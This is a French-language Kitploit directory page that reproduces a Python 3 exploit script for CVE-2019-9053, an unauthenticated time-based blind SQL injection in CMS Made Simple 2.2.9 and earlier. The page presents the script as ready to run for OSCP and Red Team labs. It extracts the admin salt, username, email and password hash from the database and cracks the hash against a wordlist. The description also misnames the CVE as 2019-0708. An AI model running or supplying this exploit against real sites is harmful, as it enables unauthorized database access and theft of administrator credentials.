Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
-exploit-lab — Exploite Python cve-2019-9053 – par HackHeart | Kitploit
Outils/GitHubGitHub/hackheart-tech/-exploit-lab
Cassage de Mots de PasseAnalyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'Intrusion
GitHubhackheart-tech/-exploit-lab

-exploit-lab

Exploite Python cve-2019-9053 – par HackHeart

Voir le dépôt
8il y a 1 anPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

-exploit-lab

Exploits Python cve-2019-0708 – par HackHeart 🧠 Révision de code et portage - Python 2 → Python 3 Cet exploit a été initialement écrit en Python 2, qui n'est plus pris en charge par les systèmes modernes. Pour garantir la compatibilité et maintenir des outils pérennes, l'ensemble du code a été soigneusement révisé et migré vers Python 3.

🔧 Améliorations clés lors du portage :

Mise à jour des instructions print vers la syntaxe Python 3

Remplacement de raw_input() par input()

Adaptation des opérations socket pour gérer correctement les bytes/str (ajout de .decode())

Suppression des méthodes obsolètes comme xrange() et .iteritems()

Vérification de la compatibilité du script avec Python 3.8+ et les distributions Linux modernes

🛡️ Cette version conserve la logique de l'exploit intacte tout en assurant :

Compatibilité avec les laboratoires modernes OSCP / Red Team

Syntaxe plus propre, plus sûre et plus lisible

Prêt à exécuter dans des environnements modernes (VS Code, Kali, Parrot OS…)

#!/usr/bin/env python3

CVE-2019-9053 - CMS Made Simple <= 2.2.9 - Unauthenticated SQL Injection

import requests import time import argparse import hashlib

parser = argparse.ArgumentParser() parser.add_argument('-u', '--url', required=True, help="Base target URI (e.g. http://10.10.10.100/cms)") parser.add_argument('-w', '--wordlist', help="Wordlist for cracking admin password") parser.add_argument('-c', '--crack', action='store_true', help="Crack password with wordlist")

args = parser.parse_args()

url_vuln = args.url.rstrip('/') + '/moduleinterface.php?mact=News,m1_,default,0' session = requests.Session() dictionary = '1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ@._-$' TIME = 1

flag = True salt = '' username = '' email = '' password_hash = '' output = ""

def dump_field(field_name, table, column, condition): global flag result = "" ord_result = "" while flag: flag = False for char in dictionary: temp_result = result + char ord_temp_result = ord_result + format(ord(char), "x") print(f"[*] Trying {temp_result}") payload = f"a,b,1,5))+AND+(SELECT+SLEEP({TIME})+FROM+{table}+WHERE+{column}+LIKE+0x{ord_temp_result}25+AND+{condition})--+" start_time = time.time() session.get(url_vuln + "&m1_idlist=" + payload) if time.time() - start_time >= TIME: result = temp_result ord_result = ord_temp_result flag = True break return result

print("[+] Extracting salt...") flag = True salt = dump_field("salt", "cms_siteprefs", "sitepref_value", "sitepref_name+LIKE+0x736974656d61736b") output += f"Salt: {salt}\n"

print("[+] Extracting username...") flag = True username = dump_field("username", "cms_users", "username", "user_id+LIKE+0x31") output += f"Username: {username}\n"

print("[+] Extracting email...") flag = True email = dump_field("email", "cms_users", "email", "user_id+LIKE+0x31") output += f"Email: {email}\n"

print("[+] Extracting password hash...") flag = True password_hash = dump_field("password", "cms_users", "password", "user_id+LIKE+0x31") output += f"Hash: {password_hash}\n"

if args.crack and args.wordlist: print("[+] Cracking password...") with open(args.wordlist, 'r', encoding='utf-8', errors='ignore') as f: for line in f: word = line.strip() print(f"[*] Trying password: {word}") if hashlib.md5((salt + word).encode()).hexdigest() == password_hash: output += f"[+] Password cracked: {word}\n" break

print("\n=== Exploit Results ===") print(output)

Télécharger l’outil